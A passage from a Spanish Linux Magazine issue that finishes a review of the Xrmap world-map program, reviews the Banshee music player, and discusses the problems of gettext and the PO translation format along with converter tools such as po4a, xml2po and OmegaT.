incluyen el mapa comprimido CIA_WDB2.jpd.bz2, el tarball con las banderas nacionales flags-2.5-eps.tar.bz2 o el Factbook de la CIA en formato HTML, titulado factbook_html_2005.tar.bz2 . El mensaje clasifica estos ficheros en categorías requeridas, recomendadas y opcionales. Este material puede descargarse desde el servidor ftp del proyecto en [4]. Los ficheros tienen un tamaño de entre 26MB y 476MB, así que se es una buena idea elegir los paquetes en función el ancho de banda disponible. Tras completar la descarga se mueven los ficheros al directorio compartido especificado en SHAREDIR en Imakefile, en nuestro ejemplo éste sería /usr/local/share/rmap. Luego se cambia al directorio SHAREDIR y se desempaquetan las extensiones comprimidas: cd /usr/local/share/rmap for i in *.tar.bz2: U do tar xvjf $i; done
Xrmap ya está listo para ser usado.
Ciudades, Países, Ríos Una vez completado el proceso de instalación de Xrmap hacer uso del software se convierte en un juego de niños. Se escribe xrmap en la shell para arrancar el programa. Xrmap muestra un globo terraqueo. Pulsando la tecla [+] se amplia el mapa, mientras que la tecla menos [-] reduce la resolución de la selección visible. Las teclas de cursor permiten moverse de un lugar a otro en el mapa. Como alternativa, puede hacerse clic derecho en un campo del mapa; el software ampliará esta selección para ofrecer una visión más detallada. El botón central del ratón abre un menú en el que pueden elegirse algunas opciones haciendo clic sobre las letras resaltadas. Por ejemplo, la tecla [O] abre el editor para las opciones de configuración. Luego puede seleccionarse File y a continuación el parámetro External Programs en el submenú. Ahora puede modificarse la herramienta que se especificó previamente en el Imakefile. Haciendo clic en el cuadro browser HTML y cambiando el texto del cuadro de Dillo a Firefox, le dirá a Xrmap que use Mozilla Firefox para visionar las páginas HTML en el Factbook de la CIA. Las opciones son bastante completas, abarcando un amplio abanico de temas, que van desde la configuración de
impresión, mapas que se usarán, opciones de color destacados y búsqueda de configuraciones para países, ciudades y regiones. También pueden destacarse los aeropuertos, las cumbres de las montañas, observatorios o las longitudes y latitudes. Los atajos de teclado son el modo más rápido de acceder a muchos parámetros. La tecla [I] nos da los nombres de las ciudades; pulsando [A] se muestran los aeropuertos y sus nombres. Para ver los observatorios se pulsa la tecla [B]. Los nombres de países y océanos se ven pulsando [L] y con [P] se mostrarán los picos de las montañas. Puede pulsarse una tecla para cambiar la vista de una ciudad, mostrar una ciudad con su nombre u ocultarla. La tecla [:] abre un mapa topográfico de la región seleccionada. Ya se está familiarizado con las funciones que los botones del ratón derecho y central nos proporcionan, por lo que a continuación hablaremos del botón izquierdo. Cuando pasas el ratón por encima de una ciudad y pulsas el botón izquierdo, aparece el cuadro City & Country. Este cuadro ofrece información útil sobre la ciudad y el país que se han resaltado. La ventana proporcionará toda la información sobre el estado en el que está localizada la ciudad y también se complementará con las características geográficas del estado y el crecimiento de la población. Para aeropuertos, Xrmap proporciona el código de aeropuerto y el largo de la pista. Para las cumbres, nos informará de la cordillera a la que pertenece, junto con la altura, evidentemente. No importa si se ha seleccionado una ciudad, cumbre, observatorio o un aeropuerto, la ventana siguiente proporcionará información acerca del país y seis botones. De izquierda a derecha los botones ofrecen datos del país, extraído del Factbook de la CIA, el texto del himno nacional, la melodía del himno nacional y la bandera como un fichero Postscript, PDF o gráfico. El último botón centra la imagen en la ventana. Como Xrmap conoce al menos 1.000 caminos que conducen a Roma, también dispone de un importante número de parámetros de la línea de comandos. El manual ofrece a los usuarios una lista de más de ochenta opciones que pueden ser establecidas desde la shell. Para obtener la ayuda de Xrmap puede ejecutarse man xrmap en la línea de comandos o bien pulsar la tecla [H].
WWW.LINUX- MAGAZINE.ES
Figura 1: El Factbook de la CIA da a los usuarios información muy valiosa de todos los países del mundo.
En lugar de configurar atajos de teclado y configuraciones, simplemente pueden pasarse las opciones de la línea de comandos a la herramienta. Por ejemplo, se le puede decir al programa que muestre + cities y +airports. Para restringir la herramienta a un mapa de Europa debería especificarse -continent 3 , pudiendo cargarse los ficheros del país en el editor especificando -editor xedit. Para ver el mapa de un lugar determinado se especifican los parámetros -latitude y longitude, por ejemplo: xrmap -latitude 40.4165 -longitude -3.7035 -zoom 10 + + cities. Este ejemplo nos lleva hasta el mapa de Madrid (concretamente a la Puerta del Sol), escala la visión diez veces (-zoom 10) y muestra el nombre de la ciudad ( ++ cities). Puede elegirse cualquier punto de la tierra.
Conclusión Aunque pueda resultar problemática la instalación desde el código fuente, y a pesar de que muchos añadidos no sean exactamente ligeros de peso, Xrmap es una herramienta potente, flexible y sorprendentemente simple para el estudio geográfico del mundo. ■
RECURSOS [1] Página de Xrmap: http://frmas.free.fr/ li_1.html#_Xrmap [2] Navegador web de Dillo: http://www. dillo.org [3] Servidor FTP con datos añadidos: ftp. ac_grenoble.fr/ge/geosciences/xrmap/ data/ [4] Factbook de la CIA: http://www.cia. gov/cia/publications/factbook
Número 20
75
LINUX USER • Banshee
La gramola Mono para el escritorio Gnome
BANSHEE En la mitología celta, las llamadas de duelo del Banshee se oyen cuando un miembro de la familia está próximo a morir. La herramienta Banshee de Linux también hace ruido, pero afortunadamente mucho más alegre. Este otro Banshee te ayuda a organizar (y reproducir) tu colección de música. POR RÜDIGER ARP
S
i posees cientos de pistas digitales en el PC, necesitarás de vez en cuando organizarlas bajo una determinada estructura. La tendencia iniciada por los iTunes de Apple ha dado como resultado una potente cosecha, de fácil uso, de reproductores de audio bajo Linux. En este artículo revisaremos el programa de audio Banshee que fue escrito en Mono y que ha ido ganando popularidad. Concretamente nos centraremos en la versión actual de Banshee, la 0.10.12.
Instalación Banshee está basado en la infraestructura Mono, por lo que habrá que resolver un número determinado de dependencias antes de comenzar. Afortunadamente, existen binarios pre-compilados para las versiones más recientes de las distribuciones Suse, Debian, Ubuntu, Fedora, Gentoo, Mandriva y Foresight. Un Howto de la página de inicio de Banshee [1] dice cómo añadir los recursos de instalación a tu sistema. La instalación depende de las características que se necesiten. Como esta herramienta está basada en la infraestructura GStreamer, serán precisos plugins GStreamer para Ogg o MP3, por ejemplo, para reproducir formatos de audio. Si se dispone de Ubuntu Dapper o de Debian Sid pueden instalarse gstreamer0.10-plugins-base, gstreamer0.10-plugins-good y gstreamer0.10-plugins-ugly para añadir esas capacidades. Si Banshee no se encuentra en nuestra distribución, o si se desea la última versión del programa, habrá que remangarse y compilar los paquetes fuente manualmente. No es que sea imposible, aunque sí es extremado el tiempo que se necesita para resolver todas las dependencias. El HOWTO de la página de inicio de
GLOSARIO ID3: “Identificar un MP3”: información adicional que pueden almacenar los ficheros de audio formateados como MP3. Puede contener, por ejemplo, el nombre de la pista, artista y género.
76
Número 20
WWW.LINUX- MAGAZINE.ES
Banshee • LINUX USER
Figura 2: Uso del cuadro de diálogo de iPod Properties para administrar las configuraciones iPod. Figura 1: Banshee maneja los CDs de audio y pistas editadas por Rhytmbox.
Banshee [2] será de ayuda para todos aquéllos que sean lo suficientemente valientes para intentarlo. Si se posee un reproductor externo como un iPod Apple o un Jukebox Nomad, se encuentran disponibles determinadas librerías adicionales para su instalación para que el reproductor se entienda con Banshee.
Dame de Comer Tras completar la instalación, es posible abrir las configuraciones del programa bajo Edit | Properties antes de comenzar a importar las pistas. El programa usará estas configuraciones más tarde para tareas como la grabación de CDs de audio. Las configuraciones están hábilmente divididas según la
función: Library, Encoding, Burning y Advanced. Library es donde se establece la ruta a la carpeta de música de Banshee y dice si se quiere que Banshee copie los ficheros de audio desde la librería que se está importando a esta carpeta. Esta función es muy útil para los propietarios de portátiles que almacenan pistas en sus ordenadores de sobremesa o servidores pero que no quieren estar sin música cuando viajan. La solapa Encoding tiene detalles sobre los formatos de los ficheros y el bitrate en el que los CDs de audio ripearán a disco. También es aquí donde se encontrarán las configuraciones para los reproductores iPod MP3 de Apple si tienes uno de ellos.
Burning dispone de configuraciones para tostar CDs. La solapa Advanced muestra el motor de audio que usa Banshee. Para importar una colección de pistas se selecciona Music | Import Music. Una advertencia: Cuando intenté importar unos 740 ficheros Ogg y MP3 desde un disco local, tuve que reiniciar la operación múltiples veces antes de que acabara completamente, porque Banshee tendía a colgarse. Tras completar la importación original, las sesiones de importación siguientes se completaron sin problemas, y no tuve ninguna dificultad a la hora de hacer que Banshee hablara con mi iPod. Tan pronto como enchufé el reproductor al puerto USB, el programa mostró la librería de la pista almacenada en el iPod. Fue fácil transferir pistas entre Banshee y el iPod.
Listas de Reproducción
Figura 3: El plugin Tray proporciona una presentación elegante de la información de pista.
WWW.LINUX- MAGAZINE.ES
La interfaz de usuario de Banshee de doble panel es ordenada hasta el punto de ser espartana. Cuando se comienza, el panel izquierdo tiene una única entrada: Music Library, el contenido se muestra a la derecha. De momento Banshee no soporta tipos de listas de reproducción inteligentes con las que puede que estés familiarizado (por ejemplo Rhythmbox [3] o Amarok [4]) las cuales muestran las últimas canciones reproducidas.
Número 20
77
LINUX USER • Banshee
Plugins de Banshee Banshee tiene los plugins siguientes, todos accesibles vía Edit / Plugins…: Audioscrobbler. Envía información sobre las pistas reproducidas en Banshee a la página web, Last.fm [5], [6]. El plugin supone que el usuario dispone de una cuenta de usuario Last.fm. Music sharing. Muestra tu colección a otros usuarios con Banshee, Rhythmbox y iTunes. Para habilitar el plugin se necesitan los paquetes banshee-daap y avahi-daemon. File System Monitor. Controla el estado de tu carpeta de música y actualiza la librería de audio si es necesario. Multimedia Keys. Añade soporte para teclas multimedia configuradas en Gnome. Metadata Searcher. Busca la librería de audio y añade información de pista perdida y cubiertas de álbumes. Notification Area Icon. Presenta el icono del programa en el campo de mensaje del panel de Gnome.
El cuadro de búsqueda en la parte superior derecha hace más fácil la creación de listas o la búsqueda de la librería de música. Cuando se introduce un término para su búsqueda, la lista en el panel bajo el cuadro de búsqueda presenta una lista de coincidencias. Pueden usarse los encabezamientos de las columnas para clasificar la lista por artista o género. El orden de la columna es libremente configurable: se hace clic en el encabezamiento de la columna, se mantiene pulsado el botón izquierdo del ratón y se arrastra el encabezamiento a la posición requerida. Para añadir la lista completa de las coincidencias a la lista de reproducción, se pulsa [Ctrl]+[A] para
seleccionar la lista, y un clic derecho para desplegar el menú contextual. Al principio no se tendrá una lista de reproducción, así que la única opción es seleccionar Add to Playlist | New Playlist. Se da un clic derecho a la nueva lista de reproducción, y se selecciona Rename Playlist para cambiar el nombre. A continuación puede compilarse la lista paso a paso.
Etiquetas versus Metadatos El elemento Edit Song Metadata soporta información de pista de fácil edición. Mi primer intento para editar la información de pista almacenada en las etiquetas ID3 de una librería de música en una partición Samba montada produjo unos resultados sorprendentes. Aunque Banshee aplicó los cambios de manera directa, otros reproductores de audio que accedieron a los mismos datos ignoraron los cambios. Algunas investigaciones revelaron que Banshee leerá las etiquetas ID3 existentes, aunque no almacena los cambios en estas etiquetas. Banshee almacena información de la pista en una base de datos Sqlite bajo ~/ .gnome2/banshee/banshee.db. Evidentemente, la información no es accesible para otros programas de reproducción.
Ripear y Tostar Banshee añade CDs de audio a tu colección de una manera fácil. Cuando se inserta un disco, el programa consulta automáticamente la información del CD y presenta el título del álbum. Haciendo clic sobre éste último presenta las pistas en el panel derecho y el botón Write CD cambia a Import CD.
Tostar ficheros Ogg o MP3 es muy fácil: se usa una lista de reproducción o una lista de búsqueda para crear un CD, luego se pulsa Write CD para crear un CD de audio para el reproductor del coche. Banshee pasó con creces nuestras pruebas de varios formatos de salida.
Conclusiones Algunas funciones, como el ripeado o el tostado de CDs de audio o el enchufado en caliente de reproductores de MP3, son francamente buenas. Banshee tiene una buena apariencia, aunque, por otro lado, la creación de la lista de reproducción fue poco intuitiva. La solución provisional de Banshee cuando almacena información de pista es cuestionable, sin embargo el programa se encuentra en un estado de desarrollo temprano, así que aún tenemos esperanza. Tanto si Banshee se convierte en tu reproductor favorito, como si no, definitivamente oirás más el grito de Banshee en un ■ futuro.
RECURSOS [1] Página de inicio de Banshee: http:// banshee-project.org [2] Instalación desde el código fuente: http://banshee-project.org/ Banshee_Source [3] Página de inicio de Rhythmbox: http:// www.gnome.org/projects/rhythmbox [4] Página de inicio de Amarok: http:// amarok.kde.org [5] Página de inicio de Last.fm: (Audioscrobber): http://www.last.fm [6] “Radio Personal”, por Marcel Hilzinger. Linux-Magazine, Número 19.
Educación • LINUX USER
La traducción del software libre
TRABAJO EN EQUI/PO En la primera entrega de esta serie hemos hablado de la tecnología gettext; ahora es el momento de resumir sus ventajas pero también de señalar sus defectos. Qué triste sería el artículo si no pudiéramos hablar también de las soluciones, de las alternativas… POR JUAN RAFAEL FERNÁNDEZ GARCÍA.
¡
Veinte artículos! Esta modesta sección de educación llega a su entrega número veinte, es el momento quizás de hacer un pequeño balance. Si desde el principio quisimos darle una orientación práctica, creo que ha primado el carácter exploratorio de los artículos: hemos presentado herramientas no muy conocidas por el público, o aspectos novedosos de las mismas. La única justificación está en la psicología del autor: quizás confunda la obligación de no aburrir con la de no aburrirse. Aun a riesgo de ser un tanto demasiado oscuro, o técnico, o conciso (tengo una justificación, las entregas tienen que caber en cuatro o cinco páginas). Hemos querido cubrir un amplio espectro de destinatarios, con artículos con herramientas para Infantil (que alegan ser los grandes olvidados de la formación en TIC), especializadas para materias específicas, plataformas de colaboración, buscadores de recursos educativos, exploraciones del estado de la atención a la diversidad… artículos para un lector que se defiende informáticamente y busca orientación en el campo del uso pedagógico. No sé si ese destinatario existe o si está en construcción, como tampoco sé si hemos logrado el difícil equilibrio entre el tono educativo y el que corresponde a una revista de informática. Creo que esta mínima reflexión basta en ausencia de feedback. Sirva como introducción a un nuevo cambio de nivel: en esta ocasión vamos a analizar con detalle una tecnología, y volveremos a la eventual aplicación a las aulas en la siguiente entrega.
¿Que por qué? Porque es necesario, en este caso puedo afirmarlo con rotundidad.
Los problemas de PO Decíamos el mes pasado que la tecnología gettext y el formato PO habían logrado un nivel de madurez y eficacia considerables, y permitían la traducción de las interfaces de usuario de los programas a la gran mayoría de los idiomas y escrituras del mundo. También hacían fácil el trabajo de actualización por parte del traductor de sus traducciones, a la vez que protegía el código de manos no técnicas separando las fuentes y los ficheros con las cadenas que deben traducirse. Finalmente, en el balance de lo positivo, es una tecnología adaptada a los lenguajes de programación más usados, y las herramientas actualmente disponibles permiten el uso de diccionarios y memorias de traducción. Sin embargo tanto la tecnología como el formato presentan una serie de problemas que vamos a enumerar, junto con varios intentos de responder a ellos. Hay que decir de todas formas que algunos de los problemas que señalamos aquí se dan en todos los sistemas de traducción ayudada por ordenador; pero mal de muchos… no dejan de ser nuestros problemas. Problema 1. Gettext extrae las cadenas que hay que traducir de los ficheros de código. ¿Qué ocurre con el resto (la gran mayoría) de los documentos: ficheros de texto, html, de Open Office o MS Word, LaTeX o el cada vez más usado DocBook (xml)? ¿cómo traducir los ficheros man de ayuda, en formato groff, los Readme.txt o los info? ¿Y los textos contenidos en los archivos gráficos como svg o dia
WWW.LINUX- MAGAZINE.ES
(que también son xml) o Impress? Los recursos con texto que traducir (subtítulos, interfaces verbales…) están cada vez más presentes. Gettext no se inventó para traducir documentación. Ahora bien, en la práctica real, y aunque nadie la lea, ésta cada vez es más extensa y necesaria. Los usuarios tienen la tendencia a comprobar si existe, y a protestar si está en un idioma que no comprenden. Es obvio que puede utilizarse cualquier editor de textos, es cuestión de paciencia… se abren dos ventanas, con el texto original y el destino, y se trabaja ¿cuál es el problema entonces? No estamos hablando sólo de que no podemos utilizar nuestras herramientas habituales; la verdadera dificultad está en la imposibilidad de automatizar la reutilización de lo ya traducido cuando es necesario enfrentarse a una nueva versión. Sólo hay que imaginarse revisando frase por frase y palabra por palabra las posibles modificaciones, inserciones, eliminaciones o para nuestra total confusión cambios de lugar para darse cuenta de que necesitamos una solución mejor y generalizable. Necesitamos un programa que al igual que gettext separe lo que hay que traducir de lo que es marca o información no traducible (en “<h1>Hello<strong>Dolly</strong></h 1>” sólo hay que traducir “Hello” y saber que “Dolly” es mejor no tocarla), que extraiga las cadenas con las que vamos a trabajar del fichero original (marcando donde estaban) y genere finalmente un fichero destino equivalente pero traducido. Problema 2. Un segundo problema nos desafía, en este caso de carácter técnico. Los mensajes de una interfaz de usuario, los
Número 20
79
LINUX USER • Educación
Cuadro 1: Cómo se calculan las coincidencias difusas Rectificar es de sabios, y de sus imitadores (y un autor de artículos, picoteando en cien sitios, no puede dejar de ser patético en ocasiones). Durante bastante tiempo sostuve (y dejé escrito) que la base de la búsqueda de coincidencias de gettext no debía ser más que un diff(). Hasta que tuve la humildad de preguntarlo. Éste es un extracto del mensaje de respuesta de alguien que sí sabe, Santiago Vila, a la lista de distribución de LuCAS, 1 de octubre de 2003: ”Las comparaciones de una cadena con otra se hacen con la función fstrcmp que está en gettext-tools/lib/fstrcmp.c [aquí remite a la lectura del código fuente de la función, que incluye un esbozo de manual de uso…]
Al principio [del fichero] se lee lo siguiente: Derived from GNU diff 2.7, analyze.c et al. The basic algorithm is described in: “An O(ND) Difference Algorithm and its Variations”, Eugene Myers, Algorithmica Vol. 1 No. 2, 1986, pp. 251-266; see especially section 4.2, which describes the variation used below. The basic algorithm was independently discovered as described in: “Algorithms for Approximate String Matching”, E. Ukkonen, Information and Control Vol. 64, 1985, pp. 100-118. Unless the ‘minimal’ flag is set, this code uses the TOO_EXPENSIVE heuristic, by Paul Eggert, to limit the cost to O(N 1.5 log N) at the price of producing suboptimal output for large inputs with many differences. Modified to work on strings rather than files by Peter Miller <pmiller@agso.gov.au>, October 1995.” El 13 de marzo de 2006, en el hilo “msgmerge fuzzy-search” de la lista Translation-i18n, discuten Bruno Haible y Danilo Segan la posibilidad de ir más allá en el desarrollo de gettext añadiendo nuevos (o mejores) algoritmos de búsqueda de coincidencias difusas. Una de la posibilidades que se plantea Haible: “algoritmos basados en palabras, como ignorar los signos de puntuación o las marcas HTML, podrían sustituir a fstrcmp() en determinadas situaciones”.
textos de un menú… son por esencia cortos. Ahora nos encontramos ante largos párrafos. Sin embargo la reutilización y la construcción de memorias de traducción se basan en las coincidencias dentro de un mismo segmento. Si la unidad de segmentación es el párrafo las coincidencias prácticamente desaparecerán. Es necesario resolver el problema de la segmentación de los textos. ¿Es la oración la unidad de traducción óptima? No tan rápido, amigo, que nos precipitamos. En primer lugar la definición algorítmica de lo que es una oración no es trivial (el punto, “.”, no siempre separa oraciones, ¿verdad? -hay por tanto que agotar los casos en que sí o en que no), en segundo lugar lo que en una lengua se expresa naturalmente mediante una oración puede requerir de varias en otra. Estamos en ese fácil momento en el que sólo nos corresponde ser destructivos, sigamos pues con la lista de problemas. Del anterior deducimos el problema relacionado de las coincidencias parciales (fuzzies, problema 3). ¿Cómo se detectan estas coincidencias difusas? Hay que ponerse un poco más técnicos aún: mediante la función fstrcmp (de “comparación difusa de cadenas”). Ya lo preguntamos en la lista de distribución de LuCAS ¡en el año 2003! y tuvimos la suerte de que Santiago Vila nos contestara (ver el cuadro). Por supuesto, técnico o no, el tema reaparece una y otra vez, porque de estas traducciones dudosas propuestas depende gran parte de la utilidad de la informatización de la traducción. La forma de cuantificar las coincidencias de cadenas es expresar el tanto por ciento de
80
Número 20
caracteres coincidentes; pero entonces el carácter más o menos dudoso de una traducción propuesta depende de la longitud en caracteres de sus palabras. Es preciso un sistema que determine claramente las palabras que constituyen la cadena de texto que va a traducirse. La solución de este problema está lejos de ser evidente: hay que hacer ver que en el ejemplo anterior “Dolly” y “<strong>Dolly</strong>” son la misma palabra, que “Dol.ly” sería una única palabra catalana, y determinar si “strawman” (o “matter-of-fact” o “Weltanschauung”) se miden como una palabra o como dos. Un problema adicional, el problema 4 se da en contextos multilenguaje: PO se creó para traducir de un lenguaje a otro lenguaje. ¿Qué ocurre si el texto fuente está escrito en varios idiomas (por ejemplo si contiene citas en latín)? Peor aún, ¿qué pasa si las codificaciones entre los distintos idiomas (Big5, cirílico) no son compatibles? Nuestro problema 5 tiene que ver con el detalle del formato PO. La especificación es imprecisa. Intencionalmente imprecisa. ¿Cómo y quién especifica el formato? Un mensaje de Bruno Haible del 3 de abril de 2006 a la lista Translation-i18n nos da todas las claves: “Esta cierta falta de claridad en la especificación [está respondiendo a una crítica] se usa para la evolución del formato. En los últimos seis años hemos hecho más estricto el reconocimiento de los mensajes obsoletos; hemos añadido nuevos campos a los cabecera PO; añadimos la posibilidad de fusionar la cabecera de distintos ficheros en uno solo usando
WWW.LINUX- MAGAZINE.ES
msgcat; hemos añadido nuevas tipos de comentarios #,; se añadió una nueva palabra clave msgctxt… En el futuro es posible que se sigan añadiendo nuevos tipos de comentarios o campos en la cabecera. Clarificar la especificación ahora y después reeescribirla de forma incompatible no sería de ayuda para nadie.” Esta imprecisión ocasiona que los autores de herramientas tengan que tomar decisiones. Sólo pondré un ejemplo, que repito siempre (es una de mis pesadillas recidivantes). El robot del Proyecto de Traducción Libre asume con tal rigidez sus reglas sobre lo que es una cabecera PO correcta (y rechaza el mensaje en tal caso, una y otra vez, sin cansancio ni piedad) que estoy seguro de que pocos, muy pocos de los ficheros PO propios de los proyectos GNOME o KDE pasarían la prueba. La prueba, la figura 1. El fichero no era aceptable para el robot, a pesar de que era válido para msgfmt. Este problema tiene su corolario: es difícil determinar la validez de un fichero PO. Problema 6: el contexto es indeterminado. Todos sabemos que la misma expresión puede tener un sentido totalmente distinto, y por tanto exigir una traducción diferente, dependiendo del contexto. El problema de nuestro sistema (y de las memorias de traducción sin contexto) es que la misma expresión traducida una vez se dará por traducida en sus siguientes apariciones. Como no es del todo seguro que tratemos en estos artículos de asuntos marginales, y como entre entrega y entrega transcurre su tiempo, ocurre que tenemos nueva versión, y precisamente pertinente. El 24 de julio de 2006
Educación • LINUX USER
Figura 1: el robot del Proyecto de Traducción Libre haciendo de las suyas.
el mismo Bruno Haible vuelve a dirigirse a la lista Translation-i18n anunciando la versión 0.15 de gettext, con entre otras la siguiente importante novedad: Los ficheros PO pueden ahora contener mensajes limitados a un determinado contexto. Casi siempre dicho contexto será la identificación de un menú, de un diálogo o de un panel. La sintaxis es msgctxt “contexto” msgid “original” msgstr “traducción”
Por supuesto, a falta de usos creativos, esta es una solución sólo parcial al problema general del contexto. Y también seguimos ante un formato que proporciona al traductor una información estructural deficiente. Problema 7: la interpersonalidad de los equipos de traducción. Aunque frecuentemente una sociedad de más de dos personas es una multitud y por lo tanto un problema, no nos referimos a eso. Tal como la hemos visto hasta ahora, el proceso de traducción ha sido una tarea individual. Una persona asume la responsabilidad de traducir un fichero, envía su traducción, y ahí acaba todo. Pero esta descripción está lejos de ser adecuada para el flujo real de trabajo de un equipo eficaz de traducción. En dos sentidos principales. Primeramente, porque para que tengan un mínimo de calidad (casi diríamos de inteligibilidad) las terminologías utilizadas deben ser coherentes (se traducirán los mismos términos de forma igual por parte de todos los traductores del grupo), se deberán compartir las memorias de traducción, etc. En un segundo sentido, problema 8, porque las personas que intervienen en el
proceso son más. Para un correcto flujo de trabajo son necesarios un coordinador, un sistema de asignación o reserva de tareas, uno o varios traductores para cada fichero, revisores de las traducciones, personas que se encarguen de las terminologías y de las memorias de traducción así como del estudio, adecuación y actualización de las herramientas utilizadas, etc. De todos estos pasos debe quedar constancia, así como de las conclusiones de las discusiones. Teniendo en cuenta que el proceso es cíclico, continuamente se producen Figura 2: El flujo de trabajo del proceso de nuevas versiones y se incorporan nuevos traducción. ficheros al sistema. Las soluciones a este problema deberán ser externas, quizás ilustración bastará, gedit informaba de que aprovechando los datos que nos ofrece el foreste documento antes de incluir esta frase conmato PO en su cabecera: último traductor, tenía 2709 palabras. Un previo es_ES wc -w grupo… quizás convenga para tomar siquiera traducc_2.txt daba como salida 2464 traconciencia del grado de detenimiento con el ducc_2.txt. que la industria de la traducción ha analizado Problema 10: la mayoría de los traductoel problema, examinar la figura 2[1]. res profesionales y estudiantes de Este problema trae de cabeza a los coorditraducción usan herramientas comerciales nadores de los grupos. Por un lado el perfil que no aceptan el formato PO; es el fenótípico clásico del traductor voluntario es el de meno que vamos a llamar aislamiento de las un estudiante de ingeniería (esto lo vamos a comunidades. Sería un problema menor si corregir, ¿verdad?, ¡a partir de ahora serán proeste formato fuera manifiestamente superior, fesores de idiomas!), con un conocimiento pero el problema se agrava si existe un forlimitado del inglés, y que tampoco domina las mato abierto y aceptado por la industria para decisiones terminológicas a las que se haya la misma función, XLIFF, y otro para el interpodido llegar en el grupo. Por uno que percambio de memorias de traducción, TMX. siste, varios picotean (son voluntarios), y Conversores de documentación cuando el coordinador señala los errores a PO cometidos suelen desaparecer. ¿Cómo conciliar la necesidad de facilitar el trabajo a los Recordemos de la anterior entrega que PO es nuevos traductores, ofreciéndoles interfaces el formato con el que trabajan las herramienintuitivas, orientación terminológica, etc., con tas de traducción disponibles clásicamente[3]. la de elevar el nivel de calidad de las traduccioPor tanto la primera opción es crear un connes? Profesionalizando el flujo de trabajo, para versor del formato de los documentos a PO. poder exigir. En el mundo del software libre, y que se me Del problema 3 concluimos que es necesaperdone la exageración, sólo hay cuatro forrio determinar de manera objetiva el matos de texto que cuentan: el odt de número de palabras que constituyen un texto (nuestro problema 9º). De la importancia del problema para la industria de la traducción (que no puede aceptar que cada herramienta dé un resultado distinto, la facturación por palabras es una cuestión seria) da cuenta la creación de un grupo de trabajo para la redacción de un Figura 3: Comparativa de herramientas. estándar[2]. Una
WWW.LINUX- MAGAZINE.ES
Número 20
81
LINUX USER • Educación
OpenOffice, DocBook, html y LaTeX. Es curioso que los tres primeros sean hoy formas de XML, es la señal del éxito de esta tecnología. Bien, comencemos por el principio: XML DocBook es el formato en el que está escrita la documentación de la gran mayoría de los proyectos de software libre (sí, la de KDE y la de GNOME…) y la de muchas empresas de alta tecnología. Los primeros que se enfrentaron públicamente al problema de la convergencia de herramientas entre la traducción de la interfaz de usuario y de la documentación fue el equipo de traducción de KDE, en un documento con unos cuantos años ya: el KDE Translation HOWTO[4]. La clave está en el uso de las utilidades xml2pot, que crea la plantilla POT, transxx, que crea el fichero PO en blanco y, finalmente, po2xml, todas del paquete poxml . O bien, si ya tenemos alguna versión de los ficheros en supongamos inglés y castellano: split2po english.xmlU español.xml > en-es.po
No debemos confundir poxml (¡ni xml2pot!) con xml2po de Danilo Segan (parte de gnome-doc-utils)[5], la inevitable respuesta de GNOME. Ahora la plantilla se crearía así: xml2po -o ejemplo.potU ejemplo-en.xml
Terminada la traducción se procedería a generar el fichero XML destino xml2po -p es.poU ejemplo-en.xml > ejemplo-es.xml
Como sabemos que aún hay irreductibles que no usan DocBook para hacer la lista de la compra ni para escribir sus exámenes, es el momento de ver si hay conversores para el resto de los formatos. El proyecto PO for Anything (paquete po4a), de Denis Barbier and Martin Quinson, generaliza el procedimiento de ida y vuelta (formato -> PO y PO -> formato). El proyecto ha creado un conjunto de filtros (exactamente módulos perl) que convierten a y de PO a cada vez más formatos, y varias aplicaciones de línea de órdenes que los aplican. Para averiguar los formatos que convierte la versión instalada, basta lanzar (po4a-gettextize es el programa que convierte a PO) po4a-gettextize —help-format
82
Número 20
La versión 0.27.2, de 8 de agosto de 2006 (en el cvs de alioth se está preparando la versión 0.29), trabaja con nroff (para los man), pod, sgml, xml, docbook, dia, info, latex, html… auqnue no todos los módulos tienen el mismo nivel de madurez). En su momento hice mis pruebas con la conversión de fuentes LaTeX. Lo hacía así TEXINPUTS=U /usr/share/texmf/tex/latex/base\ po4a-gettextize -f latex \ -m $1 -M iso-8859-1 \ -p $file.pot \ -o exclude_include=content-es:U application-es
Porque desde hace tiempo po4a es la herramienta que se utiliza en proyectos como Debian para muchas de sus tareas internas de traducción (por ejemplo para los mensajes de las ventanas de configuración de debconf, o para el proyecto renacido de traducir las descripciones de las aplicaciones). En la jerga, po4a es una de las aplicaciones básicas no esenciales de la cadena de herramientas de Debian congelada recientemente para preparar la estabilidad de Etch. Además, al ser un conjunto de aplicaciones de línea de órdenes ejecutables en tandas más un conjunto modular de filtros puede ser utilizado por otras aplicaciones que presenten interfaces de usuario más amigables. Por último tenemos los filtros esta vez en python del proyecto Translate, el Translate Toolkit[6] (paquete translate-toolkit, pofilter —version nos señala la versión 0.9.1). Nos proporciona las siguientes utilidades de nombres transparentes: oo2po, sxw2po, moz2po, csv2po, ts2po, txt2po, html2po, xliff2po, tiki2po y sus inversas. Sobre este proyecto y sobre pootle hablaremos largo y tendido en la siguiente entrega. Volviendo a nuestras reflexiones iniciales sobre los problemas que la tecnología de la traducción libre debe resolver, vemos que hemos avanzado únicamente en la solución de la primera dificultad (gettext no se creó para traducir documentación o recursos). Sin embargo hemos puesto las bases también, mediante la creación de filtros de conversión, para que herramientas de nivel superior permitan mejores interfaces de cooperación y control (las veremos en la siguiente entrega). Por otro lado ya vimos que el tema de las traducciones dudosas no estaba tan verde como nos había parecido en su momento (a falta de una solución de segmentación y alineamiento adecuados).
WWW.LINUX- MAGAZINE.ES
Figura 4: OmegaT.
OmegaT Una solución alternativa, aunque también se base en el uso de filtros, nos la ofrece OmegaT, una herramienta gráfica escrita en java. ¿Qué es exactamente OmegaT? Como muy bien resume Jean-Christophe Helary en la propuesta de actualización de la documentación que fue enviando a la lista de OmegaT@yahoogroups.com a lo largo del mes de mayo de 2006 ”OmegaT es una herramienta de traducción asistida por ordenador. Toma nota de tus traducciones mientras las tecleas y te recuerda la traducción anterior cuando encuentra un texto similar. OmegaT ayuda al traductor recordándole tres cosas: 1. cómo el mismo traductor ha traducido una oración similar a la que está traduciendo 2. cómo alguien distinto tradujo en su momento una oración similar 3. el modo en que deben traducirse los términos incluidos en un glosario.” Los dos primeros puntos se refieren a las memorias de traducción, el tercero introduce el concepto de terminología. Aunque la versión actual (agosto 2006) es 1.6.0 RC12a, al parecer la versión más estable es la RC10, que carece por supuesto de algunas de las nuevas características de las versiones más recientes[7]. Mi experiencia actual es con la versión RC8 (ver figura 4; no conviene cambiar de versión durante el proceso de realización de una traducción). ¿Qué aporta la OmegaT 1.6.0 RC8 sobre las antiguas versiones 1.4.X? • Segmentación flexible por frases o por párrafos • Importación de TMX 1.4b (lo cual implica que al fin se pueden reutilizar memorias creadas para otros proyectos y con otras herramientas), exportación de TMX 1.1 Nivel 